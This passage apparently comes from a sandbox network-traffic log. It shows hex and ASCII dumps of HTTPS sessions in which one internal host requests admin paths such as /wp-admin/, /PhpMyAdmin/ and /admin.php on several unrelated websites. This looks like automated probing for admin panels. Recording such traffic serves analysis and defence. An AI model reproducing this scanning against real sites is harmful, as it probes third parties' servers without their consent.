$('#hdv3Billboard197BuyProceID').removeClass('hidden
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 44 22 20 63 6c 61 73 73 3d 22 20 70 6c 61 63 65 2d 6f 72 64 65 72 2d 62 74 6e 20 70 61 79 6d 65 6e 74 70 61 79 2d 61 63 63 61 75 6e 74 2d 63 6f 6e 74 65 6e 74 2d 62 74 6e 20 62 74 6e 20 68 69 64 64 65 6e 41 74 4c 6f 61 64 22 20 6f 6e 63 6c 69 63 6b 3d 22 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 35 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 70 78 3b 20 6d 69 6e 2d 77 69 64 74 68 3a 32 37 33 70 78 3b 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 70 78 3b 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 35 70 78 3b 20 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 22 3e 50 72 6f 63 65 73 73 69 6e 67 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 Data Ascii: D" class=" place-order-btn paymentpay-accaunt-content-btn btn hiddenAtLoad" onclick="return false;" style="height:50px; margin-left:0px; min-width:273px; margin-top:0px; margin-bottom:25px; display:flex;">Processing<div class="circularJ"><div class="cir
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 70 70 69 6e 67 5f 63 61 72 74 2e 63 66 6d 3f 64 3d 55 6e 69 71 75 65 41 75 73 74 72 61 6c 69 61 6e 2e 63 6f 6d 22 20 6d 65 74 68 6f 64 3d 22 70 6f 73 74 22 20 69 64 3d 22 6c 61 6e 64 65 72 46 6f 72 6d 37 34 44 46 34 44 30 30 44 43 43 42 34 38 41 30 41 46 46 46 37 43 43 42 41 46 37 33 31 32 31 31 49 44 22 3e 0a 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 63 61 72 74 43 68 65 63 6b 22 20 76 61 6c 75 65 3d 22 30 22 20 69 64 3d 22 6c 61 6e 64 65 72 46 6f 72 6d 37 34 44 46 34 44 30 30 44 43 43 42 34 38 41 30 41 46 46 46 37 43 43 42 41 46 37 33 31 32 31 31 43 68 65 63 6b 49 44 22 3e 0a 3c 2f 66 6f 72 6d 3e 0a 3c 73 63 72 69 70 74 3e 0d 0a 66 75 6e 63 74 69 6f 6e 20 6c 61 6e 64 65 72 46 75 6e 63 37 34 44 46 34 44 30 30 44 43 Data Ascii: pping_cart.cfm?d=UniqueAustralian.com" method="post" id="landerForm74DF4D00DCCB48A0AFFF7CCBAF731211ID"><input type="hidden" name="cartCheck" value="0" id="landerForm74DF4D00DCCB48A0AFFF7CCBAF731211CheckID"></form><script>function landerFunc74DF4D00DC

Session ID	Source IP	Source Port	Destination IP	Destination Port
267	192.168.2.4	62324	198.185.159.144	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:32 UTC	173	OUT	GET /admin HTTP/1.1 Host: www.qihabitats.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:33 UTC	539	IN	HTTP/1.1 404 Not Found Age: 0 Content-Type: text/html;charset=utf-8 Date: Wed, 20 Dec 2023 02:13:33 GMT Etag: W/"d3b928bd5836fb6282df4e5a69977809" Expires: Thu, 01 Jan 1970 00:00:00 GMT Server: Squarespace Set-Cookie: crumb=BYq4aD1LGcviMDdjZTFlMDI2ZDJhZDhhMGI0MTI3MzkxNWU2MDU0;Secure;Path=/ Strict-Transport-Security: max-age=15552000 Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Contextid: VHXQZnIJ/5Ucyjfiy X-Frame-Options: SAMEORIGIN X-Frame-Options: SAMEORIGIN Connection: close Transfer-Encoding: chunked
2023-12-20 02:13:33 UTC	647	IN	Data Raw: 38 30 30 30 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3a 6f 67 3d 22 68 74 74 70 3a 2f 2f 6f 70 65 6e 67 72 61 70 68 70 72 6f 74 6f 63 6f 6c 2e 6f 72 67 2f 73 63 68 65 6d 61 2f 22 20 78 6d 6c 6e 73 3a 66 62 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 32 30 30 38 2f 66 62 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 20 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 Data Ascii: 8000<!doctype html><html xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.facebook.com/2008/fbml" lang="en-US" > <head> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta name="viewport" content="width=d
2023-12-20 02:13:33 UTC	2372	IN	Data Raw: 63 6f 6e 2e 69 63 6f 3f 66 6f 72 6d 61 74 3d 31 30 30 77 22 2f 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 51 69 20 48 61 62 69 74 61 74 73 22 2f 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 51 69 20 48 61 62 69 74 61 74 73 22 2f 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 73 69 74 65 22 2f 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 3a 2f 2f 69 6d 61 67 65 73 2e 73 71 75 61 72 65 73 70 61 63 65 2d 63 64 6e 2e 63 6f 6d 2f 63 6f 6e 74 65 6e 74 2f 76 31 2f 36 31 65 Data Ascii: con.ico?format=100w"/><meta property="og:site_name" content="Qi Habitats"/><meta property="og:title" content="Qi Habitats"/><meta property="og:type" content="website"/><meta property="og:image" content="http://images.squarespace-cdn.com/content/v1/61e
2023-12-20 02:13:33 UTC	538	IN	Data Raw: 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 73 72 63 3d 22 2f 2f 61 73 73 65 74 73 2e 73 71 75 61 72 65 73 70 61 63 65 2e 63 6f 6d 2f 40 73 71 73 2f 70 6f 6c 79 66 69 6c 6c 65 72 2f 31 2e 36 2f 6d 6f 64 65 72 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 53 51 55 41 52 45 53 50 41 43 45 5f 52 4f 4c 4c 55 50 53 20 3d 20 7b 7d 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 72 6f 6c 6c 75 70 73 2c 20 6e 61 6d 65 29 20 7b 20 69 66 20 28 21 72 6f 6c 6c 75 70 73 5b Data Ascii: <script type="text/javascript" crossorigin="anonymous" defer="defer" src="//assets.squarespace.com/@sqs/polyfiller/1.6/modern.js"></script><script type="text/javascript">SQUARESPACE_ROLLUPS = {};</script><script>(function(rollups, name) { if (!rollups[
2023-12-20 02:13:33 UTC	4744	IN	Data Raw: 65 73 70 61 63 65 2e 63 6f 6d 2f 75 6e 69 76 65 72 73 61 6c 2f 73 63 72 69 70 74 73 2d 63 6f 6d 70 72 65 73 73 65 64 2f 65 78 74 72 61 63 74 2d 63 73 73 2d 72 75 6e 74 69 6d 65 2d 39 65 32 36 63 32 65 38 65 65 35 65 30 32 65 34 39 32 34 65 2d 6d 69 6e 2e 65 6e 2d 55 53 2e 6a 73 22 20 64 65 66 65 72 20 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 72 6f 6c 6c 75 70 73 2c 20 6e 61 6d 65 29 20 7b 20 69 66 20 28 21 72 6f 6c 6c 75 70 73 5b 6e 61 6d 65 5d 29 20 7b 20 72 6f 6c 6c 75 70 73 5b 6e 61 6d 65 5d 20 3d 20 7b 7d 3b 20 7d 20 72 6f 6c 6c 75 70 73 5b 6e 61 6d 65 5d 2e 6a 73 20 3d 20 5b 22 2f 2f 61 73 73 65 74 73 2e 73 71 75 61 72 65 73 70 61 63 65 2e 63 6f 6d 2f 75 6e 69 76 65 72 73 61 6c 2f 73 63 72 69 70 74 73 2d 63 Data Ascii: espace.com/universal/scripts-compressed/extract-css-runtime-9e26c2e8ee5e02e4924e-min.en-US.js" defer ></script><script>(function(rollups, name) { if (!rollups[name]) { rollups[name] = {}; } rollups[name].js = ["//assets.squarespace.com/universal/scripts-c
2023-12-20 02:13:33 UTC	5930	IN	Data Raw: 6e 64 65 72 69 6e 67 2d 75 74 69 6c 73 2d 61 39 62 32 66 62 30 37 34 38 62 30 36 32 32 32 36 33 32 62 2d 6d 69 6e 2e 65 6e 2d 55 53 2e 6a 73 22 7d 2c 22 73 71 75 61 72 65 73 70 61 63 65 2d 66 6f 72 6d 73 22 3a 7b 22 63 73 73 22 3a 22 2f 2f 61 73 73 65 74 73 2e 73 71 75 61 72 65 73 70 61 63 65 2e 63 6f 6d 2f 75 6e 69 76 65 72 73 61 6c 2f 73 74 79 6c 65 73 2d 63 6f 6d 70 72 65 73 73 65 64 2f 66 6f 72 6d 73 2d 65 36 36 31 30 65 35 32 38 64 36 66 39 32 66 64 35 30 33 31 2d 6d 69 6e 2e 65 6e 2d 55 53 2e 63 73 73 22 2c 22 6a 73 22 3a 22 2f 2f 61 73 73 65 74 73 2e 73 71 75 61 72 65 73 70 61 63 65 2e 63 6f 6d 2f 75 6e 69 76 65 72 73 61 6c 2f 73 63 72 69 70 74 73 2d 63 6f 6d 70 72 65 73 73 65 64 2f 66 6f 72 6d 73 2d 35 61 32 34 62 35 38 32 38 35 61 65 63 30 65 61 Data Ascii: ndering-utils-a9b2fb0748b06222632b-min.en-US.js"},"squarespace-forms":{"css":"//assets.squarespace.com/universal/styles-compressed/forms-e6610e528d6f92fd5031-min.en-US.css","js":"//assets.squarespace.com/universal/scripts-compressed/forms-5a24b58285aec0ea
2023-12-20 02:13:33 UTC	7116	IN	Data Raw: 75 65 22 3a 66 61 6c 73 65 2c 22 73 68 6f 77 53 68 69 70 70 69 6e 67 50 68 6f 6e 65 4e 75 6d 62 65 72 22 3a 74 72 75 65 2c 22 69 73 53 68 69 70 70 69 6e 67 50 68 6f 6e 65 52 65 71 75 69 72 65 64 22 3a 66 61 6c 73 65 2c 22 73 68 6f 77 42 69 6c 6c 69 6e 67 50 68 6f 6e 65 4e 75 6d 62 65 72 22 3a 74 72 75 65 2c 22 69 73 42 69 6c 6c 69 6e 67 50 68 6f 6e 65 52 65 71 75 69 72 65 64 22 3a 66 61 6c 73 65 2c 22 63 75 72 72 65 6e 63 69 65 73 53 75 70 70 6f 72 74 65 64 22 3a 5b 22 55 53 44 22 2c 22 43 41 44 22 2c 22 47 42 50 22 2c 22 41 55 44 22 2c 22 45 55 52 22 2c 22 43 48 46 22 2c 22 4e 4f 4b 22 2c 22 53 45 4b 22 2c 22 44 4b 4b 22 2c 22 4e 5a 44 22 2c 22 53 47 44 22 2c 22 4d 58 4e 22 2c 22 48 4b 44 22 2c 22 43 5a 4b 22 2c 22 49 4c 53 22 2c 22 4d 59 52 22 2c 22 52 Data Ascii: ue":false,"showShippingPhoneNumber":true,"isShippingPhoneRequired":false,"showBillingPhoneNumber":true,"isBillingPhoneRequired":false,"currenciesSupported":["USD","CAD","GBP","AUD","EUR","CHF","NOK","SEK","DKK","NZD","SGD","MXN","HKD","CZK","ILS","MYR","R
2023-12-20 02:13:33 UTC	8302	IN	Data Raw: 74 72 69 63 73 22 2c 22 63 72 6d 5f 72 65 6d 6f 76 65 5f 73 75 62 73 63 72 69 62 65 72 22 2c 22 73 75 70 70 6f 72 74 73 5f 76 65 72 73 69 6f 6e 65 64 5f 74 65 6d 70 6c 61 74 65 5f 61 73 73 65 74 73 22 2c 22 73 63 72 69 70 74 73 5f 64 65 66 65 72 22 2c 22 63 61 6d 70 61 69 67 6e 73 5f 67 6c 6f 62 61 6c 5f 75 63 5f 61 62 22 2c 22 63 61 6d 70 61 69 67 6e 73 5f 69 6d 70 6f 72 74 5f 64 69 73 63 6f 75 6e 74 73 22 2c 22 73 65 6e 64 5f 6c 6f 63 61 6c 5f 70 69 63 6b 75 70 5f 72 65 61 64 79 5f 65 6d 61 69 6c 22 2c 22 6d 61 72 6b 65 74 69 6e 67 5f 6c 61 6e 64 69 6e 67 5f 70 61 67 65 22 2c 22 69 6d 61 67 65 5f 63 6f 6d 70 6f 6e 65 6e 74 22 2c 22 73 68 6f 77 5f 61 64 64 5f 74 6f 5f 63 61 72 74 5f 69 6e 5f 70 6c 70 22 2c 22 63 6f 6d 6d 73 70 6c 61 74 5f 66 6f 72 6d 73 Data Ascii: trics","crm_remove_subscriber","supports_versioned_template_assets","scripts_defer","campaigns_global_uc_ab","campaigns_import_discounts","send_local_pickup_ready_email","marketing_landing_page","image_component","show_add_to_cart_in_plp","commsplat_forms
2023-12-20 02:13:33 UTC	3125	IN	Data Raw: 6b 2d 6f 76 65 72 6c 61 70 2d 69 6e 6c 69 6e 65 2d 6c 69 6e 6b 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 62 6c 61 63 6b 2d 68 73 6c 29 2c 31 29 3b 2d 2d 69 6d 61 67 65 2d 62 6c 6f 63 6b 2d 6f 76 65 72 6c 61 79 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 62 6c 61 63 6b 2d 68 73 6c 29 2c 30 2e 35 29 3b 2d 2d 69 6d 61 67 65 2d 62 6c 6f 63 6b 2d 70 6f 73 74 65 72 2d 69 6d 61 67 65 2d 62 75 74 74 6f 6e 2d 62 67 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 73 61 66 65 4c 69 67 68 74 41 63 63 65 6e 74 2d 68 73 6c 29 2c 31 29 3b 2d 2d 69 6d 61 67 65 2d 62 6c 6f 63 6b 2d 70 6f 73 74 65 72 2d 69 6d 61 67 65 2d 62 75 74 74 6f 6e 2d 74 65 78 74 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 73 61 66 65 49 6e 76 65 72 73 65 4c 69 Data Ascii: k-overlap-inline-link-color:hsla(var(--black-hsl),1);--image-block-overlay-color:hsla(var(--black-hsl),0.5);--image-block-poster-image-button-bg-color:hsla(var(--safeLightAccent-hsl),1);--image-block-poster-image-button-text-color:hsla(var(--safeInverseLi
2023-12-20 02:13:33 UTC	4096	IN	Data Raw: 0d 0a 38 30 30 30 0d 0a 6c 65 2d 62 75 74 74 6f 6e 2d 74 65 78 74 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 73 61 66 65 49 6e 76 65 72 73 65 44 61 72 6b 41 63 63 65 6e 74 2d 68 73 6c 29 2c 31 29 3b 2d 2d 6c 69 73 74 2d 73 65 63 74 69 6f 6e 2d 73 69 6d 70 6c 65 2d 63 61 72 64 2d 62 75 74 74 6f 6e 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 73 61 66 65 44 61 72 6b 41 63 63 65 6e 74 2d 68 73 6c 29 2c 31 29 3b 2d 2d 6c 69 73 74 2d 73 65 63 74 69 6f 6e 2d 73 69 6d 70 6c 65 2d 63 61 72 64 2d 62 75 74 74 6f 6e 2d 74 65 78 74 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 73 61 66 65 49 6e 76 65 72 73 65 44 61 72 6b 41 63 63 65 6e 74 2d 68 73 6c 29 2c 31 29 3b 2d 2d 6c 69 73 74 2d 73 65 63 74 69 6f 6e Data Ascii: 8000le-button-text-color:hsla(var(--safeInverseDarkAccent-hsl),1);--list-section-simple-card-button-background-color:hsla(var(--safeDarkAccent-hsl),1);--list-section-simple-card-button-text-color:hsla(var(--safeInverseDarkAccent-hsl),1);--list-section
2023-12-20 02:13:33 UTC	11860	IN	Data Raw: 6c 29 2c 31 29 3b 2d 2d 74 77 65 61 6b 2d 62 6c 6f 67 2d 69 74 65 6d 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 69 63 6f 6e 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 62 6c 61 63 6b 2d 68 73 6c 29 2c 31 29 3b 2d 2d 74 77 65 61 6b 2d 62 6c 6f 67 2d 69 74 65 6d 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 6d 65 74 61 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 62 6c 61 63 6b 2d 68 73 6c 29 2c 31 29 3b 2d 2d 74 77 65 61 6b 2d 62 6c 6f 67 2d 69 74 65 6d 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 74 69 74 6c 65 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 62 6c 61 63 6b 2d 68 73 6c 29 2c 31 29 3b 2d 2d 74 77 65 61 6b 2d 62 6c 6f 67 2d 69 74 65 6d 2d 74 69 74 6c 65 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 62 6c 61 63 6b 2d 68 73 6c 29 2c 31 Data Ascii: l),1);--tweak-blog-item-pagination-icon-color:hsla(var(--black-hsl),1);--tweak-blog-item-pagination-meta-color:hsla(var(--black-hsl),1);--tweak-blog-item-pagination-title-color:hsla(var(--black-hsl),1);--tweak-blog-item-title-color:hsla(var(--black-hsl),1

Session ID	Source IP	Source Port	Destination IP	Destination Port
268	192.168.2.4	62234	77.72.0.94	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:32 UTC	176	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: lunarrastar.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:33 UTC	434	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1238 date: Wed, 20 Dec 2023 02:13:33 GMT server: LiteSpeed vary: User-Agent alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2023-12-20 02:13:33 UTC	934	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s
2023-12-20 02:13:33 UTC	304	IN	Data Raw: 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 20 3c 61 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 66 66 3b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6c 69 74 65 73 70 65 65 64 74 65 63 68 2e 63 6f 6d 2f 65 72 72 6f 72 2d 70 61 67 65 22 3e 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 2f 61 3e 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e 63 2e 20 69 73 20 6e 6f 74 20 61 20 77 65 62 20 68 6f 73 74 69 6e 67 20 63 6f 6d 70 61 6e 79 20 61 6e 64 2c 20 61 73 20 73 75 63 68 2c 20 68 61 73 20 6e 6f 20 63 6f 6e 74 72 6f 6c 20 6f 76 65 72 20 63 6f 6e Data Ascii: 5, 0.3) inset;"><br>Proudly powered by <a style="color:#fff;" href="http://www.litespeedtech.com/error-page">LiteSpeed Web Server</a><p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over con

Session ID	Source IP	Source Port	Destination IP	Destination Port
269	192.168.2.4	62517	15.197.192.55	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:32 UTC	429	OUT	GET /wp-admin/ HTTP/1.1 Host: wethepros.com Accept: / Accept-Encoding: deflate, gzip Cookie: expiry_partner=dynadot.ExpiredParking.9CC26559-5E11-4B25-8CC2-E5B51E33A42F; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://wethepros.com/wp-login.php
2023-12-20 02:13:33 UTC	893	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:33 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:48 GMT Connection: close ETag: "657a13c4-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_Y88mImSNhpPIStbu0dODu4JeOtLLcQWD6jwBkOdBWQuGTBtE9weZjhCn+99UpN1jt2OTfuVBza7cS0R09CYY/A Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=dynadot.ExpiredParking.9CC26559-5E11-4B25-8CC2-E5B51E33A42F;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:33 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port
270	192.168.2.4	62426	76.223.105.230	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:32 UTC	205	OUT	GET /admin.php HTTP/1.1 Host: justinsweet.com Accept: / Accept-Encoding: deflate, gzip Cookie: dps_site_id=us-east-1 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:33 UTC	288	IN	HTTP/1.1 404 Not Found Content-Type: text/html;charset=utf-8 Content-Length: 964 Vary: Accept-Encoding Server: DPS/2.0.0+sha-5905cfa X-Version: 5905cfa X-SiteId: us-east-1 Set-Cookie: dps_site_id=us-east-1; path=/; secure Date: Wed, 20 Dec 2023 02:13:32 GMT Connection: close
2023-12-20 02:13:33 UTC	964	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 69 6d 67 31 2e 77 73 69 6d 67 2e 63 6f 6d 2f 64 70 73 2f 63 73 73 2f 75 78 63 6f Data Ascii: <!DOCTYPE html><html><head> <title>404 Not Found</title> <meta http-equiv="content-type" content="text/html; charset=utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link href="//img1.wsimg.com/dps/css/uxco

Session ID	Source IP	Source Port	Destination IP	Destination Port
271	192.168.2.4	62238	209.126.24.60	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:32 UTC	266	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: horsetech.com Accept: / Accept-Encoding: deflate, gzip Cookie: wp_ga4_customerGroup=NOT%20LOGGED%20IN; PHPSESSID=9e092446f956efccd5dcb8fb7c88b1b9 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:33 UTC	478	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 20 Dec 2023 02:13:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=9e092446f956efccd5dcb8fb7c88b1b9; expires=Wed, 20-Dec-2023 03:13:33 GMT; Max-Age=3600; path=/; domain=horsetech.com; secure; HttpOnly; SameSite=Lax Pragma: no-cache Cache-Control: max-age=0, must-revalidate, no-cache, no-store Expires: Mon, 19 Dec 2022 17:32:46 GMT
